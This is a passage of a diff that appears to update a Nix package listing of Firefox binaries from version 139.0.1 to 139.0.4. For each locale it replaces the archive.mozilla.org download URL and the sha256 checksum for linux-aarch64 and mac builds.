+      sha256 = "0b68437f514b694fd81482e1933cee522fd03e0a73ac88184fab4eed5b48ee70";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/rm/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/rm/firefox-139.0.4.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "927c857492f76a969c753d588e5338cb9fcfebfd2615e2699b49be30267badd4";
+      sha256 = "274e83d5bfa3f358d416a420a608722ad69a8ebccc5ca8ff826bb9b6c5c366d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ro/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ro/firefox-139.0.4.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "e43c59838c3a6bce58b586459c9d0189b9ae277f06010e8b8f0a2b145bfc082c";
+      sha256 = "1cde9cdd28a1a4f1d9c6e53442600d2ffd3e0e37125ce6a8953b350cabffbf30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ru/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ru/firefox-139.0.4.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "f2e51d2d2298b40d9c356829ca93c16b36c5d283a1dbc6fa84ddf73eeedb4b12";
+      sha256 = "311cc9df6d653aadc89e1c1f4a54d52c4c2235dc3a1ab07f7aa7fe32adc85b8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sat/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sat/firefox-139.0.4.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "5c30ce8c52d0633fc68ca8bf1fcc77d5cbc1bcb7099ac68fdd08d790c5ec043c";
+      sha256 = "0a7c5624a4c50eec58ad041c1a94ae24922a66c1477407c5188e0e7b57c86cc1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sc/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sc/firefox-139.0.4.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "4d3fe5784f37c5078f1bc97962c6cea471e392af9cc3cadc541cd1da722b1241";
+      sha256 = "2b230266a68e8b9bd897b05c1bffe1d5c16b23d599e4dbac377e2a36532563c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sco/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sco/firefox-139.0.4.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "4e3435921feefca8d8c4a5fb688834db410f53f1398e6acc1aba3b37765d04aa";
+      sha256 = "4c91e4c4e9a762f92d374fffe0f6a9f76a58e8228bad6e16242a441c99dd0330";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/si/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/si/firefox-139.0.4.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "2566371bbe8cca6e49bfea9efbb7eff26f8130e38823291c27f63bc25562fb53";
+      sha256 = "b72ec88381e4a65e8572c64c23070d8e382d11bd8da236e8e67879b8e143daf3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sk/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sk/firefox-139.0.4.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "30008c0962d8aeaed71a282638fe23e0f803e5baab96bd5ede8da76a9c55dd30";
+      sha256 = "5b158a10f6ce4a22a004f71c5891d1de64a33f4eede7bc4d84bee5e306424d34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/skr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/skr/firefox-139.0.4.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "8e3671992eb4e94bf51fc61b4e667e44de403b17250695be9f60da035f4c6dca";
+      sha256 = "91dd2ca54f93c2e0e1bfab6063dbce82657b9a66364613b100f55c643bd442ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sl/firefox-139.0.4.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "36d2779bb1c11444a6e8ebd915e055bd5e3620cf93dc851bdce11cf8e9ba354f";
+      sha256 = "178e67e4ddba5077f8439b3441ae7e03e9b4df0a305c8dcd3cc6be3f6718dd12";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/son/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/son/firefox-139.0.4.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "cab84e27c93fd7c8f214356c3d41f9173e7a522debd3d3967a8123f06b616359";
+      sha256 = "a1cd95b97d652be5b2191a05c97d7c32981de3949801126dcfc15a09714a4f84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sq/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sq/firefox-139.0.4.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "45db9a5c58face8f082de103b5ccb310c57692b0c25132ac0b22207168cf6b2f";
+      sha256 = "1fbadabcb66c4d4826db66510718235415e7d22af37273f14389bebf2693e13f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sr/firefox-139.0.4.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "b505448b343b4282e7fb2dbbf727b787e1d960c5fad198f9136718353ac03adc";
+      sha256 = "b8855b52f62c4f59b9e96b38e2b31ebd4c82a402596a504c2d630d585aecd0ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/sv-SE/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sv-SE/firefox-139.0.4.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "43c4aea298be5c63b90386d9c8fc440dee49f712419abdbda891c6fa5c46e38e";
+      sha256 = "16c5827b2fd8945525073a7736bb55c7cba282b637c207fdd94b5afb1828ff84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/szl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/szl/firefox-139.0.4.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "8d1436b0675229daf2341c2f2ef1bc2982187bd0a6d6e48de3eb7a8d9637261a";
+      sha256 = "3c8ee2ab4777e8d22e3e61f11ecb9597b5974bbf13eabfd6a1c9a53beb18bdad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ta/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ta/firefox-139.0.4.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "53e96d8a92f19b1515623ef9c57e328271e8b35ed0d5edefdc6a8efc1e4602a4";
+      sha256 = "e229643e0c446e56fa5e9917b343647dca48665629adaf7f251d2a5b4e547420";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/te/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/te/firefox-139.0.4.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "4f0be6446aca61f98bde48e94393515f957d57988c86dd7493a2f0f5b21b8ee8";
+      sha256 = "1a7dbf9b69427cd8f424640062741b6e2bed0280fdff5f4acc13a0d7703fea0f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/tg/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/tg/firefox-139.0.4.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "470a17f31f4bc5df6bd02ec210fd6bb3f69eb4cd4c84aee65b2a46e7d5676238";
+      sha256 = "02564d54f763fec86e911690ad0457d0e7eddb032bc397e57fda436eb74d5ee4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/th/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/th/firefox-139.0.4.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "19dee19c2daaac94a451ccb00b5026cba7513c255a7428443d53d054ca3f7cf1";
+      sha256 = "4b16d0fbcee12931001714232dedcb3a4ddf7d2df0c1d5ff4da43d757d4cae08";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/tl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/tl/firefox-139.0.4.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "a72c025dbe24d4a5c6ad30c9c471a9f10920ab99744e33f5d74e0cebdb6b7d0e";
+      sha256 = "5744f47fef3dcbebca72356dc27ac08e501dd325ebd47cf48a6442dd6d6de33e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/tr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/tr/firefox-139.0.4.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "7f1f9634fc5914287088c1e496f30923a33fdb282a1d7acfb8fc5e16abf987d3";
+      sha256 = "b674fd55febe6d3ca585127ddee719e6bff0fec486ddaf5ecd2b1bdc922ba1cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/trs/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/trs/firefox-139.0.4.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "cf57e807833781e5730187c95e8cb70793ba8e9fa1304684c6ecab1b517e8cce";
+      sha256 = "d91fe874274c0ba294b7a9d6a9a53704ee17e10ef23b7e6402fd20b4877e1b76";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/uk/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/uk/firefox-139.0.4.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "caedd3dba7d404b1ea6f99deeb2c130163de956612a35c24cebe20ec8e10d343";
+      sha256 = "ce55b8f396382d8c7ce0be3e50fc4a3415d7ab2ce546293c3c1e777c26334b6f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ur/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ur/firefox-139.0.4.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "d2d713d43ebf52298db592386dcf7c11886b075ef916e9d27070c8dbf8981fee";
+      sha256 = "532d90fb392d3edabecf917b3198cb78c7a4a6dd571483894970c53f0d0651d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/uz/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/uz/firefox-139.0.4.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "ed38a6f27b6e3446177d274f24a40213b3a86f79d2e07e6525b99ed3364a2511";
+      sha256 = "ca1355ea31db97494ead7c8ccd18280c56262c961f6f2e473c10ead9a47ed680";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/vi/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/vi/firefox-139.0.4.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "cdd018f3f42b9a33a5f8ed1fb0a1fb17ff0b936a47f29c413845671dbedb7feb";
+      sha256 = "50b132ca628e3d252a56878e327e431c63361949da213b4a75482820a15a7f1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/xh/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/xh/firefox-139.0.4.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "c49b490522a2f7b2bd5b0f5896acec58f4425410e7bc2f7b01f1a4073a4a9102";
+      sha256 = "59a1a5b5dfd3b46b133ee289d4942e0d0c4dfe656336a04f9f8a69498d989ee1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/zh-CN/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/zh-CN/firefox-139.0.4.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "8e3e1fe160bdaa5063a3c5fc4d6ef2fb88e83e84bd57ed910e26f537ba6f6458";
+      sha256 = "f21395911323c3a68e8fbee8ff8fc4aee40b35eea99879f35b6dae872ff08f71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/zh-TW/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/zh-TW/firefox-139.0.4.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "0a29aacb072ead048190850b6bcc33ef39f23309d25cb1eff17ca0ba59a2c832";
+      sha256 = "7f2c6edc679c4b3ca126d40051eb57429cfd12e4e0b88632945f8c3f43559a1d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ach/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ach/Firefox%20139.0.4.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "90705dbdd3f7acbac499231f003c74540f27d34499436e745c45f97220d1489a";
+      sha256 = "2719e5aac6eb8c169e75a26ebf6b6de8e9c54adfd09431a8c6a140553136b84c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/af/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/af/Firefox%20139.0.4.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "297fbe1c131593d465d2f3aab0bbd512df42bdc3ff08df401f12d74fdc072b32";
+      sha256 = "b1c6cf858c3c8918267e4a41aef6827931d317c45fb8c8a00ba05593c80b27e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/an/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/an/Firefox%20139.0.4.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "84d726ca420c06fda08d47d862b7d4230313f726822521e1172af2728c7caa33";
+      sha256 = "577d4c2dd712b3241b143f1bc61c830bf59867200a62165ff6e8c9f0f6df3516";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ar/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ar/Firefox%20139.0.4.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "c23a655d63c5733eb57ad7847b2bd6273779908a1da0575328599e26e86a430b";
+      sha256 = "17c75522114962ea274133e014e4dad95dd9a6e00182ab3edb2ad7980f891365";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ast/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ast/Firefox%20139.0.4.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "fdce02a1f23686e49ab5ce67e3d81cdd95c32c8798b4a27e7e77b8d56c770aa4";
+      sha256 = "cb511c581fb63bc060f9580257bd324f37bac7f9bc1c1de2d900c67767197a19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/az/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/az/Firefox%20139.0.4.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "c50d1163bcb87dc6547e3d412cea1cb32851c498250247cfadd15be970371168";
+      sha256 = "3fc6810b311358add979fba5952b8297b0c1e1f4f8b9e886a6f4d03f7a063934";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/be/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/be/Firefox%20139.0.4.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "5a2ea89b6d25b625c7ecb986ad8ab811ce319a03c09ee2e8318928fea7210ae7";
+      sha256 = "8a4658504c3563479bd7a82f2508ece131a90cf8980d3dbd58aa58fd7ebb31ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/bg/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/bg/Firefox%20139.0.4.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "8cbc2408e868b9da6a6cf597ad20c4704ba49e99eab519a51523fe8009d3cdd8";
+      sha256 = "e13d1527f19e15a777b35a0c8ba29107fa96ae08f148e11bacc000b3cca6b1bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/bn/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/bn/Firefox%20139.0.4.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "eff53f1f3a5a7b9a1e8139ca22debccc5dd6e5962ceb9643650bbcb1ccf8c470";
+      sha256 = "78f298ec415f37e760e0f1452acf648cdd0ae46629f701004d12ced70265be66";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/br/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/br/Firefox%20139.0.4.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "d9985ef28037e6d2f34abeab02e20a43634de7f66280c76952ba4d6f9d1a5453";
+      sha256 = "eb955ddd18c7059e07c2286969ec681acb35021946316b40435fe2a0d176d6d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/bs/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/bs/Firefox%20139.0.4.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "c51c7d2cd20255bb4a762f28b93521a49d1faae084bc740d0a8ae43d61ac7241";
+      sha256 = "f06bae4d8a0abe53f939af0f104680939179b08993ad75e50e125083d2f7da71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ca-valencia/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ca-valencia/Firefox%20139.0.4.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "762e80a697f73b4a3f59ff0648f34ad9bf913ab18ee1078c1387991a7a18596f";
+      sha256 = "5f51dc58073d1f4ad4af26798e7e27d4fc217a12d78fab9ae17830bbde946511";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ca/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ca/Firefox%20139.0.4.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "ced2a1dd77d68f30d301736d59f95ea2db17de0b503234b2f759516762a187a1";
+      sha256 = "474044466024a959160445d50807c8464af8948152141c3883d654a65d60f09c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/cak/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/cak/Firefox%20139.0.4.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "75f917cf56586fa09e8513df164850f3260eb90b799ffa2265c4617ee9b9aabc";
+      sha256 = "7af9ffce74118116447796b25014c7a4e0b248c3459c7e34bd666ffcbdc8a7b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/cs/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/cs/Firefox%20139.0.4.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "a3f6963cc2b1706e4f219baa51904217c35f9c0aff751715dd6a3049f2c44cb3";
+      sha256 = "87581633817c93876ce2121a547efac0d5e042ed0636262367aed6f494fa0122";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/cy/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/cy/Firefox%20139.0.4.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "e94006b3ce4ecb3db70414c4251d3d80b7205719c3f7bb8314aba90f1252b842";
+      sha256 = "94acd045d30585b9d0313be4d4a94144c3aa51915b391819bdf7ada85c80dfb3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/da/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/da/Firefox%20139.0.4.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "c77c2e1e277ce34bc60c48b79f9d086ba692630ebb5a49b5a8bd76cb53e387f2";
+      sha256 = "29dbd5985eae4674fa1009fb54f817a00b70c419c7186695874798d99f9e18a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/de/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/de/Firefox%20139.0.4.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "568b562ea800aaf84d518799a0359b0735eaa9e5876365ad14a07bb35b72ceda";
+      sha256 = "5c890b5a31079d7cc6fe3668b0f9af86fcb165b1821c3534e7e373e2a5928152";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/dsb/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/dsb/Firefox%20139.0.4.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "024d8876d5cc026b8ae28bca1e33b9ade5d4debd8694aca10efb52fbe74d0f57";
+      sha256 = "f3f0549e3aaaea2d33341ff9172ff296841846f1f7482b89e725124534cc804d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/el/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/el/Firefox%20139.0.4.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "62ccd1443039fb529f3ec60b8fb50c7c1bbec2767f6ebaa34061af51129a20a7";
+      sha256 = "0bc124319e9997a07c73f820f39d41f3ca739dbc5cba458b9391531c80c1f128";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/en-CA/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/en-CA/Firefox%20139.0.4.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "be1d29d51b4207942803dadf181c899dcf2730c4d6cf302c88d7ee9f91468dbd";
+      sha256 = "b2edf6cacbc8651beedf56e9b7ec882cba7c860ea1bce19f7cd5ba366efea23b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/en-GB/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/en-GB/Firefox%20139.0.4.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "d8a859aed08080dd5a9a2291330a69594ebdc6a3c455508d95aff91bf84119e0";
+      sha256 = "142d495b2aae797d5c33904d3f694a717b14b627e78efbcbc344020eb42d44f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/en-US/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/en-US/Firefox%20139.0.4.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "243478e2a2fd5d9dd0cc261c812b0146e433d703fec960c27c7284b2de7e65bc";
+      sha256 = "fc058bf34094828c0919ad81672d697cf01dfa291ba9b11e0b1c119588878405";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/eo/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/eo/Firefox%20139.0.4.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "68912adb877fad9b038bcec66ff6749b8c22ddc1814c7e1ad9e8e95a8c119dec";
+      sha256 = "528d792d5c2398f8164408d4de59d10aef40441a882a304b9f4eb05dd9ea30f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/es-AR/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/es-AR/Firefox%20139.0.4.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "b2cbc3a357a9a74d77fb39e8503efc84b9bdc816250faac8731d2e7a088a4143";
+      sha256 = "6280d5f556981cbd48cd7912383c2e5a6640c88b7a6392b3be5a4c34d52ec8ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/es-CL/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/es-CL/Firefox%20139.0.4.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "dc95f2e0d47f57bd4196c749aab6f04a426eb6ddafe0c1f9b4028301323266e3";
+      sha256 = "1566a7f4c80ad0c8b6ad6e05aafa7c8913fdd66c0a43951e409c9e56a1e4e461";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/es-ES/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/es-ES/Firefox%20139.0.4.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "10ec09d1c88b25087857af5c0d3bd2c8de65d2098319350a573435c6dfbfce09";
+      sha256 = "e7fbd059301ab812c1e6ff7c697eaec507618729992fbd8bf6ec5bceefa497b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/es-MX/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/es-MX/Firefox%20139.0.4.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "72f7e5aef01526eb697c578659a0ac4d6353d6a698315e5b147f19b499577cdc";
+      sha256 = "1fe5aef83bd5e06dc90c199a30e6eba1ff4091526943db986f3c84537f0ebed3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/et/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/et/Firefox%20139.0.4.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "1cae2a23b54cef6657c47073e23ae6bc1056c7195c84d03f5111f893c4b275ab";
+      sha256 = "4b144faa4612ae94a859e35f3eebecb1d1b9211620910532fd1a870abc7ec420";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/eu/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/eu/Firefox%20139.0.4.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "09c7f0564a8c96aef212953100d04c9ec72fcbaa1727e816f6695025c65d8c0c";
+      sha256 = "432c0021630a9b4a968ef7125abfc3dfbf9730b3ff79889e2f777150a0c3827d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/fa/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fa/Firefox%20139.0.4.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "f420b5706210b9c22e3bf3a8f8bee45abf0b2e1c556072f040af41b990a36262";
+      sha256 = "0263b2636e2b0e031b90d880a1a1cefa62bbddfce62caf7f32998ddaa6c11c6b";
     }
     {
